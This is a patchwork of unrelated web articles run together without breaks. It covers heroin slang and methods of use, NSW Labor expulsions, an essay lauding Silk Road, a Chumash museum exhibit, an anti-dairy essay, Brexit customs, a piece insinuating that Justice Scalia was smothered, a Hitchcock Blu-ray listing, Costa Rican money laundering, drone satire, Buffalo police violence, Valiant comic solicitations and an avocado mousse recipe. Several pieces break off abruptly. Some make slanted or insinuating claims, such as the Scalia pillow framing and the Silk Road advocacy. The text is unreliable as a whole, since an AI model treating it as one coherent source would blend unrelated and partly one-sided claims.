In Oregon, black tar heroin is referred to by its Spanish name, "chiva." Elsewhere, heroin is called such things as "smack," "horse," "H," "junk" or "skag." Heroin produced in southeast or central Asia is sometimes called "China white."
Heroin can be smoked, snorted or injected. Smoking it, popular among younger users, is sometimes referred to as "chasing the dragon." Locally, users snort tar heroin by liquefying it and squirting it up their noses with a broken-tipped syringe. They call it "nose drops." Users who inject either "mainline" by shooting directly into a vein, "skin pop" by injecting just under the skin surface, or "muscle it" by shooting directly into a muscle. Injecting is generically referred to as "slamming."
Some of our everyday expressions come from heroin addicts going through withdrawal. "Kick the habit" refers to the muscle spasms addicts sometimes suffer; they literally "kick" as their leg muscles convulse. "Cold turkey" comes from the chills and goose bumps they endure.
The U.S. Department of Justice estimates that there are 500,000 to 700,000 heroin addicts in the United States and that they spend an average of $60 a day on the drug. The total annual cost is estimated at $11 billion to $15 billion.
About 60 percent of that money comes from prostitution, drug sales, welfare payments and work. The rest comes from crimes such as burglary and shoplifting. Because stolen merchandise is sold on the street for about 25 percent of its value, addicts must steal about $16 billion to $24 billion per year to make up the difference.
Mexico supplies most of the heroin flowing to states west of the Mississippi, and Colombia controls the heroin tap to the Eastern states. Yet neither is among the world's top opium producers. That dubious honor falls to Myanmar and Afghanistan, which between them cultivate 79 percent of the opium poppies and produce 90 percent of the opium gum, according to a U.S. State Department report.
MAP posted-by: Richard Lake
Updated
Former New South Wales government ministers Eddie Obeid and Ian Macdonald are no longer members of the Labor Party.
Despite legal threats from former party powerbroker Mr Obeid, Labor's disputes committee ruled to expel the pair.
State Opposition leader John Robertson has confirmed both men were formally expelled two weeks ago for bringing the party into disrepute over allegations raised at the Independent Commission Against Corruption (ICAC).
Mr Robertson says while everyone remains transfixed by the ICAC, the pressing debates of state politics are gathering dust.
In a speech to be delivered today, he says he is hoping that will now change.
"Both these individuals have now been expelled from the party and the processes are concluded," he will say.
"What either of them may seek to do is a matter for them.
"My responsibility is to make sure that I clean up this show."
Mr Robertson is attempting to woo voters back to the party before the federal election in September.
While he admits the corruption inquiry is hitting Labor at the state level, he says it will not influence the outcome of the election.
But Mr Robertson's parliamentary colleague and former premier Nathan Rees told the ABC in March ICAC would be an electoral disaster.
"At its most basic, I think you're looking at probably a three or four percentage point hit for the Federal Government now running into a poll in September," Mr Rees said at the time.
Mr Obeid has been accused of engaging in a criminal conspiracy with Mr Macdonald to defraud the state.
It is alleged that a mining licence was corruptly granted in the NSW Hunter Valley and that both men stood to make a lot of money from the deals - Mr Obeid as much as $100 million.
Both men maintain their innocence.
ICAC commissioner David Ipp is due to hand down his findings a month before the election.
Topics: alp, nsw
Before Bitcoin became the newest tech and investment craze, it was seen as the currency of the black market which was used to buy and sell drugs on the infamous “dark web.” In fact, one of the early adopters of Bitcoin is currently serving a life sentence for creating one of the first websites that popularized the cryptocurrency.
He was one of the first people to find a way to utilize Bitcoin that the mainstream could understand, which brought the technology into pop culture. His name is Ross Ulbricht and he is the founder of the Silk Road, the anonymous online marketplace which became a target for politicians and law enforcement because of the large volume of drugs that were being sold through the site.
On the Silk Road, drug users and vendors were able to trade anonymously using Bitcoin, making it one of the first major commerce platforms to adopt the cryptocurrency.
Even though Ulbricht did nothing but create a website—just like the famous billionaires Mark Zuckerberg or Jeff Bezos—he was treated like El Chapo in court because his invention worked against the system, instead of for it.
One important point that was heavily overlooked by the media during the Ulbricht trial was the fact that the Silk Road actually made the world a safer place by undermining prohibition. Even though drugs are illegal, large numbers of people still use them on a regular basis and these people are often put into dangerous situations because of these prohibitions.
The Silk Road allowed people to purchase drugs from the comfort of their living room to avoid the risk of getting mugged in a dark alleyway. It also allowed them to read reviews of the products that their potential dealer was selling, saving them from tainted drugs and dirty batches that could put their lives at risk.
Ross Ulbricht should have gotten the Nobel Prize for his visionary application of a new and revolutionary technology, but instead, he was arrested in October 2013 and has been sitting in federal prison ever since, awaiting a break in his case, or the end of the drug war. With his arrest, the FBI seized 174,000 Bitcoins, which was worth $34.5 million at the time. Today the Bitcoins stolen from Ulbricht are worth roughly $1,740,000,000 or $1.74 billion, and there is no telling what the government has done with that money.
In early October 2013, just before Ulbricht’s arrest, Bitcoin was still very underground and worth about $140. In the month following the shut down of the Silk Road, more people than ever flocked to Bitcoin and the dark web, pushing the cryptocurrency to new heights of $1,000 just a month later. As the mainstream media told the world about Bitcoin and what was happening on the dark web, dozens of anonymous marketplaces popped up in place of Silk Road, and some of them are still running today.
This constant reinvention of the Silk Road brand and the myriad of spin-off marketplaces is reminiscent of the battle that took place between online file sharing websites and the global record and film industries. Whenever the government took down a file-sharing site, ten more would spring up in its place, making it very difficult for authorities to keep up with the overgrowing connectivity that the internet provides.
Even now that the cryptocurrency is appearing on mainstream television and reaching a market cap that rivals that of major banks, governments still have no clue how to deal with a technology that allows citizens to easily avoid taxes and trade in prohibited goods off the radar. Just this week, Nobel Prize-winning economist Joseph Stiglitz called for the cryptocurrency to be banned, saying that “Bitcoin is successful only because of its potential for circumvention, lack of oversight….So it seems to me it ought to be outlawed.”
Courtesy of Bacara Resort and Spa Cara Robbins
Featuring a mix of modern jewelry, traditional relics, and native plant displays, the museum and garden installations serve to educate visitors on historical and contemporary Chumash life. They are the first public educational displays of their kind to be entirely developed, designed, and curated by Chumash academics, artists, and culture bearers. Together, the exhibit and nature walk acknowledge the Chumash tribe’s ancestors as the original inhabitants of the region, as well as detail the evolution of their present-day culture.
“Today’s travelers seek an enriching experience,” said Bacara managing director Kathleen Cochran in a statement. “We are thrilled these projects will allow hotel guests and local residents to learn more about the culture of Chumash people — past and present.”
The cultural exhibit, located in the lobby, is a 309-square-foot mini-museum featuring photos, jewelry, a tomol paddle, and dance regalia from the tribal communities of Samala, Shmuwich, Micqanaqa’n, and Tit y utit y u Tilhini, as well as a revolving display on modern-day Chumash lifestyles. The exhibit was curated by Dr. Deana Dartt and designed by Tima Link, both of the Coastal Band of Chumash.
The exhibit serves to “show our living culture,” said Link, who described the display as a space for Chumash people to have a voice in their ancestral lands and as a place for others to learn about them. “Anyone can come here and see who we are,” she said.
The exhibit is joined with a quarter-mile nature walk located on the south side of the resort. The walk highlights native plants used in traditional Chumash life such as Matilija poppy, coyote brush, and sycamore.
Mati Waiya, Founder and Executive Director of the Wishtoyo Foundation, said the exhibit comes at a time when the Chumash are faced with the dual challenge of carrying the pain of the past while seeking the “unity of all people.” “We need to be that example to our ancestors who are no longer here, and to those not yet born,” he said.
By Stian Karlsen
Most people today probably understand that the production of meat and dairy is detrimental to animal welfare, but either don’t care, or choose to turn a blind eye because it’s too painful for them to watch. I know, because I used to be one of them.
I used to eat a lot of meat, and for as long as i can remember, I also used to knowingly choose not to investigate how the flesh appeared on my plate, because I knew that if I did, it would become very difficult for me to go on.
In other words, I chose not to look.
What will happen if you choose not to close your eyes?
Reflecting on my conscious decision to close my eyes to the truth, I don’t feel proud. Rather, I feel like I didn’t fulfill a moral obligation, that is, the obligation to know where food comes from.
Choosing to look
People are scared of investigating the meat and dairy industry, and with good reason. The holocaust that is meat and dairy production is difficult to watch and read about, and for that reason alone I think many choose to avoid it.
You may for instance think that the milk you drink comes from cows that roam fields of green grass, when in reality that is far from the truth. Most cows don’t see the outdoors, and those few that do, only do so for very short periods of the year.
Dairy cows are also pumped full of antibiotics, simply because they are surrounded by their own waste (the video below show an heavy case). If the cows didn't receive antibiotics, they would get sick and die from all the bacteria they live with every day. As a side effect, antibiotics is starting to be less and less useful for the human population as well, due to extreme overuse.
Did you know that a cow has to be pregnant before being able to produce milk? To achieve this, she'll be raped repeatedly her entire life, until she can't take it no more; at which point she's sent to slaughter. Her children, of course, are killed as soon as they are born, because if we kept them alive, they would use the milk that is being sold to you, and we can't have that, right?
Why do you turn a blind eye?
The question I pose to you is, what do you think will happen if you decide to look?
Is the reason you choose to turn a blind eye because you are afraid it might force you to consider parts of your world view?
Do you think the reason behind not looking is that if you do, you know you’ll have to do some serious thinking, and make some serious decisions?
Will you make a decision to stop being part of the cruelty?
What is your reason for not looking?
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There will be a fivefold increase in customs checks at Dover and other UK ports after Brexit, an influential group of MPs has found.
The figure came amid warnings that confidence in new border arrangements has collapsed.
In its first statement on the matter, Her Majesty’s Revenue & Customs told the Treasury select committee it estimates that the number of customs declarations at Dover and elsewhere could rise from 60m a year to 300m a year after the UK leaves the EU.
HMRC also admitted it is no longer sure that it can deliver on time a new customs declaration system for all lorries coming in and out of the ports.
In a damning response, Andrew Tyrie, the Treasury select committee chairman, noted that the delivery of CDS was “in doubt”, with HMRC’s internal project management rating placing it in a “major risk” category. He warned that the “consequences of this project failing, or even being delayed, could be serious” and “much trade could be lost”.
Earlier this year, senior freight industry leaders including Eurotunnel said the introduction of customs checks at Dover after Brexit could cause gridlock in south-east England, with lorries queueing in Kent for up to 30 miles (48km) to get across the Channel.
They warned that Dover, which handles more lorries than any other port in Britain, had no room to accommodate checks for the 2.6m lorries that pass through it every year.
In a letter published on Friday to the committee, HMRC said 96% of customs declarations made in the UK are cleared electronically within 20 seconds.
About 3% of these are subject to checks for paperwork because the lorries are from outside the EU. HMRC’s national clearance hub clears 96% of these within two hours.
But it said “there could be a fivefold increase in customs declarations once the UK leaves the EU”, telling the committee that 25 systems at the borders need to be adapted for Brexit when the free movement of goods to and from Europe ends.
Chief among them is CDS, an IT programme HMRC describes as large and complex. It said the timetable for delivery was “challenging but achievable”. However, in the letter from Jim Harra, the director general of customer strategy and tax design at HMRC, it was revealed that prognosis for delivery had worsened in the past three months.
Under an internal red, amber and green project management rating, the project delivery status had gone from green in September 2016 to amber red on 31 January, he told the committee.
Tyrie said it showed that confidence in the successful implementation of “a project HMRC describes as ‘business critical’ has collapsed” . He said the project had gone from green, meaning it was “successful” and “on time”, to amber red ... meaning it was “in doubt”, with “major risks” and needing “urgent action in 67 days.
“Customs is at the heart of the Brexit debate,” Tyrie said. “It is part of the essential plumbing for international trade, and ensuring it continues to function smoothly post Brexit has to be a priority for the government.” He said the project now “merits a high degree of scrutiny by parliament”.
The complexity of the work required is laid bare over an 18-page submission by HMRC. It says more than 20 agencies are involved at the border, with new IT systems needed in everything from VAT, to alcohol and tobacco warehousing, to databases on trader registers.
HMRC is also planning blind, with no visibility on whether tariffs will be imposed on trade to and from the EU after Brexit.
In addition, passport and visa, or work permit, checks will be needed for EU drivers who travel into the UK. At present, there are no visa requirements because of the free movement of people under EU law.
This is the news as it was delivered to the general public yesterday morning:
A federal official who asked not to be named said there was no evidence of foul play and it appeared that Scalia died of natural causes. According to CNN, Scalia died in his sleep. A government official said Scalia went to bed Friday night and told friends he wasn't feeling well. Saturday morning, he didn't get up for breakfast. And the group he was with for a hunting trip left without him. Someone at the ranch went in to check on him and found him unresponsive.
So - a sad death with the elderly judge passing quietly in his sleep - completely reasonable.
Except as San Antonio Express - which first broke the news of Scalia's death on Saturday afternoon - reports, that "someone" was John Poindexter, owner of the 30,000-acre luxury ranch who is reported to have said the following...
"We discovered the judge in bed, a pillow over his head. His bed clothes were unwrinkled," said Poindexter. "He was lying very restfully. It looked like he had not quite awakened from a nap," he said. Scalia,79, did not have a pulse and his body was cold, and after consulting with a doctor at a hospital in Alpine, Poindexter concluded resuscitation would have been futile, He then contacted federal authorities, at first encountering a series of answering services because he was calling on a weekend.
While it is of course a "natural" thing to die if someone is suffocating you with a pillow, we sense that is not the norm for "natural causes."
Adding further to the questions surrounding the death, there will be no autopsy performed on Supreme Court Justice Antonin Scalia, a source familiar with the case confirmed to CNN.
The decision for no autopsy was made both by the family and the Texas Justice of the Peace, the source said.
The films include (* denotes new-to-Blu-ray): Saboteur (1942) *
(1942) Shadow of a Doubt (1943) *
(1943) Rope (1948) *
(1948) Rear Window (1954) *
(1954) The Trouble with Harry (1955) *
(1955) The Man Who Knew Too Much (1956) *
(1956) Vertigo (1958) *
(1958) North by Northwest (1959)
(1959) Psycho (1960)
(1960) The Birds (1963) *
(1963) Marnie (1964) *
(1964) Torn Curtain (1966) *
(1966) Topaz (1969) *
(1969) Frenzy (1972) *
(1972) Family Plot (1976)*
While the exact technical specifications are still unknown for the individual discs, Universal's press release notes that the fifteen pictures have been "digitally restored from high-quality film elements." The set also includes over fifteen hours of bonus supplements, such as:
Saboteur -
Saboteur: A Closer Look behind-the-scenes featurette
behind-the-scenes featurette Storyboards for the "Statue of Liberty" setpiece
Alfred Hitchcock's sketches
Production photographs
Theatrical trailer Shadow of a Doubt -
Beyond Doubt: The Making of Hitchcock's Favorite Film behind-the-scenes featurette
behind-the-scenes featurette Production drawings by art director Robert Boyle
Production photographs
Theatrical trailer Rope -
Rope Unleashed behind-the-scenes featurette
behind-the-scenes featurette Production photographs
Theatrical trailer Rear Window -
Commentary with Hitchcock's Rear Window: The Well-Made Film author John Fawell
author John Fawell Behind-the-scenes featurettes:
Masters of Cinema
Rear Window Ethics: An Original Documentary
A Conversation with Screenwriter John Michael Hayes
Pure Cinema: Through the Eyes of The Master
Breaking Barriers: The Sound of Hitchcock
Hitchcock-Truffaut interview excerpts
interview excerpts Production photographs
Theatrical trailers
Re-release trailer narrated by James Stewart
Blu-ray exclusive BD Live and Pocket Blu functionalities The Trouble with Harry -
The Trouble with Harry Isn't Over behind-the-scenes featurette
behind-the-scenes featurette Production photographs
Theatrical trailers The Man Who Knew Too Much -
The Making of The Man Who Knew Too Much behind-the-scenes featurette
behind-the-scenes featurette Production photographs
Trailers Vertigo -
Two audio commentaries:
Associate producer Herbert Coleman, restoration team Robert A. Harris and James C. Katz, and other Vertigo participants
participants
Filmmaker William Friedkin
Behind-the-scenes featurettes:
Obsessed with Vertigo: New Life for Hitchcock's Masterpiece
Partners in Crime: Hitchcock's Collaborators
The Vertigo Archives feature
feature Hitchcock-Truffaut interview excerpts
interview excerpts Foreign censorship Ending
100 Years of Universal featurette: The Lew Wasserman Era
featurette: Theatrical trailer
Restoration theatrical trailer
Blu-ray exclusive BD Live and Pocket Blu functionalities North by Northwest -
Commentary by screenwriter Ernest Lehman
Behind-the-scenes featurettes:
Destination Hitchcock: The Making of North by Northwest
North by Northwest: One for the Ages
The Master's Touch: Hitchcock's Signature Style
Cary Grant: A Class Apart
Music-only audio track
Stills gallery
Theatrical trailers and TV spot Psycho -
Commentary with Alfred Hitchcock and the Making of Psycho author Stephen Rebello
author Stephen Rebello Behind-the-scenes featurettes:
The Making of Psycho
Psycho Sound
In The Master's Shadow: Hitchcock's Legacy
Breakdowns of the "Shower Scene" setpiece:
With and without music
Storyboards by Saul Bass
The Psycho Archives feature
feature Vintage newsreel: The Release of Psycho
Hitchcock-Truffaut interview excerpts
interview excerpts Posters and Psycho ads
ads Lobby cards
Behind-the-scenes photographs
Production photographs
Theatrical trailer
Re-release trailers The Birds -
Behind-the-scenes featurettes:
Blu-ray exclusive The Birds: Hitchcock's Monster Movie
All About The Birds
Vintage Universal International newsreels:
The Birds Is Coming
Suspense Story: National Press Club Hears Hitchcock
Tippi Hedren's screen test
Hitchcock-Truffaut interview excerpts
interview excerpts Deleted scene
Original ending
Storyboards
Production photographs
100 Years of Universal featurettes:
featurettes: Restoring the Classics
The Lot
Theatrical trailer
Blu-ray exclusive BD Live and Pocket Blu functionalities Marnie -
The Trouble with Marnie behind-the-scenes featurette
behind-the-scenes featurette The Marnie Archives feature
feature Theatrical trailer Torn Curtain -
Torn Curtain Rising behind-the-scenes featurette
behind-the-scenes featurette Selected scenes scored by Bernard Herrmann
Production photographs
Theatrical trailer Topaz -
Alternate endings
Topaz: An Appreciation with film historian and critic Leonard Maltin
with film historian and critic Leonard Maltin Storyboards for "The Mendozas" setpiece
Production photographs
Theatrical trailer Frenzy -
The Story of Frenzy behind-the-scenes featurette
behind-the-scenes featurette Production photographs
Theatrical trailer Family Plot -
Plotting Family Plot behind-the-scenes featurette
behind-the-scenes featurette Storyboards for the chase scene
Production photographs
Theatrical trailer In addition, the collection comes with a fifty-page book featuring storyboards, costume sketches, correspondence, and rare photographs.
Alfred Hitchcock: The Masterpiece Collection streets on September 25th.
March 18th, 2013 (InsideCostaRica.com) The proceeds of cocaine trafficking and Internet gambling represent the largest portion of funds that are laundered in Costa Rica, according to the Money Laundering and Financial Crimes report issued by the U.S. Department of State.
The report also identified other types of illicit funds that are laundered in Costa Rica, including the trafficking of other drugs, financial fraud, human trafficking and corruption.
Money remittance services were also identified as a risk, especially for the financing of terrorist organizations.
The U.S. State Department also said that a large number of dollars are smuggled across the borders with Panama and Nicaragua.
The State Department noted that some progress in money laundering had been made in the country, including Costa Rica’s latest law aimed at increasing international tax transparency, but not that were still several obstacles preventing the Costa Rican government from properly investigating and prosecuting money laundering offenses.
The report said that Costa Rica underutilizes tools such as cooperating witnesses, confidential informants, electronic surveillance and undercover operations.
The U.S. also criticized that in Costa Rica, money laundering cannot be charged as an additional offense to another crime. For instance, when a person is convicted for drug trafficking they cannot also be prosecuted for laundering the proceeds.
“[The law] greatly reduces the number of potential money laundering convictions,” the report says.
U.S. officials also said that unregulated industries such as online casinos and sportsbooks represent significant risks for money laundering.
Linked story:
Costa Rica to exchange tax data with United States, scores of other countries in order to exit list of “tax havens”
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“The prize is awarded annually to recipients who have displayed an abiding commitment to ridding the world of conflict,” according to Nils Droppenhammer of the Nobel Foundation. “The Predator has shown an unwavering dedication to seeking out and eliminating sources of badness everywhere, but particularly in fragile states where its impact is felt more intimately.”
Between 2004 and 2013, The Predator single-handedly reduced the number of opponents to world peace by no less than 1,533, with some estimates putting the number as high as 2,500. Conducting hundreds of missions daily, the remotely piloted drone and its peace-seeking missiles are capable of bringing instant tranquility to multiple villages and/or pickup trucks simultaneously.
Public response to news of the nomination has been overwhelmingly positive. Yemeni tribal leaders this week issued a joint statement praising the Nobel nominee’s quiet professionalism and willingness to reach out to those in need of peace in even the most remote corners of the world.
Amnesty International, a close personal advisor to The Predator, commented, “Predator has helped encourage the migration of hundreds of thousands of previously homeless Pashtun nomads to more prosperous lives in the carefree environment of refugee camps and Peshawar shanty towns. If not for the persistent gaze of this tireless humanitarian, many families would be forced to remain living in bucolic poverty, their lazy lifestyles under constant threat from wicked evil-doers.”
Outspoken American religious scholar Anwar al-Awalaki, a vocal opponent of The Predator’s peace initiatives, was unavailable for comment.
In a statement issued Tuesday, a spokesman for the reclusive automaton best known for his typically terse, binary media interviews said “the Predator is humbly grateful for the positive attention the Nobel nomination will bring to his growing global network of precision-guided peace projects. He feels this nomination could have just as well gone to similar peace advocates, such as The Assault Rifle, Ohio Class Ballistic Missile Submarines, or The Mossad, but accepts it as a representative of the greater community.”
It would be bad enough, actually beyond bad enough, had this been all that one can point to when it comes to Buffalo Police Officer Robert Eloff’s exercise of power. You see, this man, Christopher Kozak, was beaten by mistake.
A cellphone video has surfaced that shows an innocent man walking out of a bar who is then jumped by several Buffalo cops. The innocent man, Christopher Kozak, says he was seriously injured after being assaulted by Buffalo PD outside of Bottoms up on Chippewa Street. The incident happened on St. Patrick’s Day right outside of the bar. Kozak had witnessed a skirmish inside and had just walked out when all of the sudden he is swarmed by Buffalo Cops.
And one of the cops who rushed a guy standing on the sidewalk, then beat the daylights out of him, was Eloff.
Kozak recognized one of the gang members who attacked him as officer Robert Eloff.
But what makes this special is that Eloff had been all over the Buffalo news for two prior incidents reflecting impropriety and excessive force.
Slapping the camera from the girl’s hand happened last April. and then there was May:
for an incident that occurred at Molly’s Pub in May, which left Air National Guardsman William Sager Jr. in critical condition with a severe brain injury.
He was ordered to give a DNA sample in that case because he is suspected of throwing the surveillance tape of the incident in the trash.
So it’s not like the Buffalo Police Department lacked forewarning that their cop, Robert Eloff, didn’t have some violence issues. William Sager’s brain injuries should have clued them in. Yet, here’s Eloff again, this time with Kozak.
Kozak has filed a notice of claim against Buffalo for the harm he suffered.
“Assault and excessive force, assault battery and excessive force against my client. I can not charge them with false arrest and malicious prosecution because they didn’t even charge my client,” said [Kozak’s attorney, Ronald] Cercone. “He was not involved. He ended up walking outside of Bottoms Up, turning around looking for his girlfriend, as you can see from the video he was in a nonthreatening, non-worrisome manner as he walked out when he was bum rushed by the police,” said his attorney.
But the question isn’t whether Kozak, who wasn’t arrested or charged after his beating, because, you know, oops, will eventually get a judgment or settlement. The question is how many lies can police supervisors tell themselves and the public when they persist in protecting dangerous cops.
People often speak of police as a gang of armed thugs, which usually elicits a shrug and easy dismissal as cop haters and nutjobs. There is, unfortunately, no other explanation for what happened to Kozak. And there is no excuse for the Buffalo police department to fail to address this violent thug in their midst.
At Tuesday's Valiant 2016 summit event, the New York City-based publisher unveiled a wave of new titles under the banner "The Future of Valiant." Joined by the prevously announced Faith ongoing, the wave is comprised of two ongoings (Generation Zero, Harbinger Renegades) and four four-issue miniseries (Britannia, Bloodshot U.S.A., Savage, and Divinity III: Stalinverse).
"With 'The Future of Valiant,’ Valiant is entering an ambitious new phase – one that will challenge not only the size and scale of the stories we choose to tell, but even the very notion of what a Valiant comic can be," said Dinesh Shamdasani, the company's CEO/CCO. "In just a short time, Valiant has established itself as the industry's best reviewed publisher and a creative force to be reckoned with. Now, with 'The Future of Valiant,' we're taking the mission of creating the best comics possible even further, and expanding with astonishing new concepts, a bold line-up of new characters, and one of the most talented rosters of creative talent working anywhere today."
The seven 'Future of Valiant' titles and their creative teams are:
Faith #1 by Jody Houser, Pere Perez & Marguerite Sauvage in July
by Jody Houser, Pere Perez & Marguerite Sauvage in July Generation Zero #1 by Fred Van Lente & Francis Portela in August
by Fred Van Lente & Francis Portela in August Britannia #1 (of 4) by Peter Milligan & Juan Jose Ryp in September
(of 4) by Peter Milligan & Juan Jose Ryp in September Bloodshot U.S.A. #1 (of 4) by Jeff Lemire & Doug Braithwaite in October
(of 4) by Jeff Lemire & Doug Braithwaite in October Harbinger Renegades #1 by Rafer Roberts & Darick Roberston in November
by Rafer Roberts & Darick Roberston in November Savage #1 (of 4) by B. Clay Moore, Clayton Henry & Lewis LaRosa in November
(of 4) by B. Clay Moore, Clayton Henry & Lewis LaRosa in November Divinity III: Stalinverse #1 (of 4) by Matt Kindt & Trevor Hairsine in December
"Within the past year alone, Valiant has made unprecedented strides by bringing some of comics' most celebrated characters to the fore. But Divinity and Faith were just the first salvos," said Valiant Editor-in-Chief Warren Simons. "In 'The Future of Valiant,’ we're about to witness the next great Valiant heroes of tomorrow come roaring out of the gate with Generation Zero, Britannia, and Savage. And we haven't even revealed the full extent of what's coming for Bloodshot U.S.A. and Harbinger Renegades, let alone the universe of new ideas that is Divinity III: Stalinverse… For new fans or old, this is a phenomenal time to find out why Valiant has succeeded in building the most acclaimed and accessible line of comics on the shelves."
Here are the advance solicitations of these seven new series debut issues, scheduled for release through the end of the year.
FAITH #1
Written by JODY HOUSER
Art by PERE PEREZ and MARGUERITE SAUVAGE
Cover by KEVIN WADA
ONGOING SERIES | BEGINNING JULY 2016
AN ALL-NEW ONGOING SERIES! The high-flying hero that captured the imagination of the world is back with a colossal new comics milestone!
In a city under siege by robots, aliens, monsters and even worse… celebrities, there is only one woman the people of Los Angeles can count on: the stratospheric superhero called Faith! Aspiring reporter by day and dedicated crime-fighter by night, Faith has tackled every obstacle in her path with confidence – like those crushing deadlines at work, the long-distance boyfriend half a world away, and the missing back issues that plague her comics collection! But, unbeknownst to her, Faith is about to collide with the one force she never saw coming: an up-and-coming super-villain bent on snuffing her out once and for all! But who is lurking behind the mask of her new foe…and could they just be the one person capable of rendering Faith powerless?
Jump on board now to find out why Valiant’s one-of-a-kind hero is inspiring a whole new generation! Be here as FAITH moves from her sold-out mini-series…and into the history-making debut of her first-ever ongoing series!
GENERATION ZERO #1
Written by FRED VAN LENTE
Art by FRANCIS PORTELA
Cover by STEPHEN MOONEY
ONGOING SERIES | BEGINNING AUGUST 2016
Because you demanded it! Exploding out of the pages of HARBINGER WARS comes AN ALL-NEW ONGOING SERIES starring GENERATION ZERO from New York Times best-selling writer Fred Van Lente (IVAR, TIMEWALKER) and blockbuster artist Francis Portela (FAITH)!
If you have a problem... If your parents won’t help… And if your cause is worthy… Log onto network #ZERO…because Generation Zero is listening.
Years ago, the children of the experimental strike team known as Generation Zero were taken from their families by Project Rising Spirit, a private weapons contractor, and raised to be psychic soldiers. After years of taking orders, they have fought for and won their freedom. Now, the world’s most wanted teenagers have pledged to protect each other tooth and claw, while using their extraordinary abilities to right wrongs for a generation without a future… To fight for kids, just like them.
One of those kids is Keisha Sherman, whose boyfriend just turned up dead after a suspicious car crash in Rook, Michigan – a newly booming tech town that sprang from rags to super-riches seemingly overnight. When Keisha makes a desperate plea into her webcam, the local high school suddenly finds itself with several unusual new students… But as word of Generation Zero’s presence spreads rapidly through the halls, this volatile band of teenage upstarts is about to discover that they’re far from the most extraordinary thing lurking behind Rook’s stainless-steel facade..
BRITANNIA #1 (of 4)
Written by PETER MILLIGAN
Art by JUAN JOSE RYP
Cover by CARY NORD
PRESTIGE FORMAT LIMITED SERIES | BEGINNING SEPTEMBER 2016
On the fringes of civilization, the world's first detective is about to make an unholy discovery…
Ruled by the Fates. Manipulated by the Gods. Commanded by Caesar. In the year 65 A.D., one's destiny was not his own. At the height of Nero's reign, a veteran of Rome's imperial war machine has been dispatched to the farthest reaches of the colonies to investigate unnatural happenings… In the remote outpost of Britannia, Antonius Axia – the First Detective – will become Rome's only hope to reassert control over the empire's most barbaric frontier…and keep the monsters that bridge the line between myth and mystery at bay…
From comics mastermind Peter Milligan (X-Statix, Shade the Changing Man) and incendiary artist Juan Jose Ryp (NINJAK, Clone) comes a psychological journey into terror, temptation, and bloodshed – presented in an all-new prestige format limited series!
BLOODSHOT U.S.A. #1 (of 4)
Written by JEFF LEMIRE
Art by DOUG BRAITHWAITE
Cover by KANO
STANDALONE EVENT SERIES | BEGINNING OCTOBER 2016
In Bloodshot we trust!
Project Rising Spirit – America's greatest exporter of classified weapons technology – has achieved a breakthrough: a contagious, airborne nanite dispersion prototype that can turn the population of any city into an army of indestructible soldiers. A doomsday virus capable of destroying an enemy nation from the inside out. A machine-made pathogen that can completely rewrite human physiology…and hardcode every man, woman, and child with the same cutting-edge technology that created their greatest weapon: Bloodshot.
But now...Project Rising Spirit's top-secret contagion has been released onto the streets of America's greatest metropolis: New York City. As mayhem engulfs Manhattan, Bloodshot must lead the most dangerous invasion ever waged on American soil and keep a runaway pandemic from toppling armies and governments...and threatening to destroy humanity itself.
In the tradition of THE VALIANT, the Big Apple turns blood red in pivotal new standalone comics event from New York Times best-selling writer Jeff Lemire (BLOODSHOT REBORN, Extraordinary X-Men) and superstar artist Doug Braithwaite (ARMOR HUNTERS, Justice)!
HARBINGER RENEGADES #1
Written by RAFER ROBERTS
Art & Cover by DARICK ROBERTSON
ONGOING SERIES | BEGINNING NOVEMBER 2016
Anyone you know could become a psionically powered "harbinger" with the potential to reshape the course of human history. Your neighbor. Your boss. Your best friend. Your kids.
Six months ago, a secret team of renegade whistleblowers leaked the existence of these extraordinarily dangerous individuals to a stunned world. Today, all across the country, crude, DIY psiot activation attempts have left hundreds brain damaged…or worse. The emergence of a new psiot in a community often leads to riots and mass violence. Gun sales are through the roof.
America is terrified of what could happen next.
With this revolutionary upheaval now in motion, Kris Hathaway, John "Torque" Torkelson, Faith "Zephyr" Herbert, and Peter Stanchek are about to discover their calling. Together, the HARBINGER RENEGADES are moving from town to town, building their ranks, and subverting authority one mind at a time…and setting out to prove once and for all that behind their power, there has always been a purpose.
This November, the most fearless superteam in comics is going underground for AN ALL-NEW ONGOING SERIES from rising star Rafer Roberts (A&A: THE ADVENTURES OF ARCHER & ARMSTRONG) and superstar artist Darick Robertson (Happy!, The Boys)!
SAVAGE #1 (of 4)
Written by B. CLAY MOORE
Art by CLAYTON HENRY and LEWIS LAROSA
Cover by LEWIS LAROSA
PRESTIGE FORMAT LIMITED SERIES | BEGINNING NOVEMBER 2016
Fifteen years ago, the world's most famous soccer star and his former supermodel wife – pregnant with their unborn child – disappeared without a trace. The world believes they are dead… But, in reality, their private jet crash-landed on a mysterious, unknown island ruled by by prehistoric creatures from another time…
This is the story of how they lost their humanity.
This November, acclaimed writer B. Clay Moore (Hawaiian Dick) and explosive artists Clayton Henry (HARBINGER WARS) and Lewis LaRosa (BLOODSHOT REBORN) present a relentless epic of survival in a cold-blooded land ruled by instinct alone as SAVAGE makes his brutal entrance into the Valiant Universe!
DIVINITY III: STALINVERSE #1 (of 4)
Written by MATT KINDT
Art by TREVOR HAIRSINE
Cover by JELENA KEVIC-DJURDJEVIC
PRESTIGE FORMAT LIMITED SERIES | BEGINNING DECEMBER 2016
avocado is one fruit that we often bring at home. all the time i usually make avocado milkshake or avocado garlic toast. i also made an avocado cake. it was a disaster and i had to throw away the whole cake. one recipe which caught my attention from long was the chocolate avocado mousse.
so again i bumped into the mousse recipe on kiran’s blog. when i saw her pics and post, i knew i had to make it soon. the ingredients in her recipe were also easily available for me, except for agave syrup which i have substituted with organic cane sugar.
this is such a gorgeous looking and gorgeous tasting chocolate mousse.
you don’t get the avocado taste or flavor as the coconut oil, coffee & chocolate overpower the avocado flavors completely. you can also have a look at quick mango mousse, chocolate mousse and banana mousse recipe.
this is a super quick mousse as it gets done in 10 minutes. great to give a chocolate treat to yourself when you don’t have the patience to make something chocolate and yet want to have a quick chocolate goodie.
also a healthy mousse as cream is not used in making the mousse. a no-fat vegan and healthy chocolate mousse.
so when there is a chocolate attack just make this mousse and enjoy 🙂
note:
i have mentioned above no fat. when i wrote this, i meant the harmful saturated and trans fats which are found in dairy products but not there in avocado.
chocolate does have saturated fats but the strange thing is that they do not raise the cholesterol levels. read more about this here.
now for coconut oil. it too has saturated fats. but not all saturated fats are bad. the naturally occurring saturated fat in coconut oil is good for the body. read more about this here.
if you are looking for similar recipes then do check:
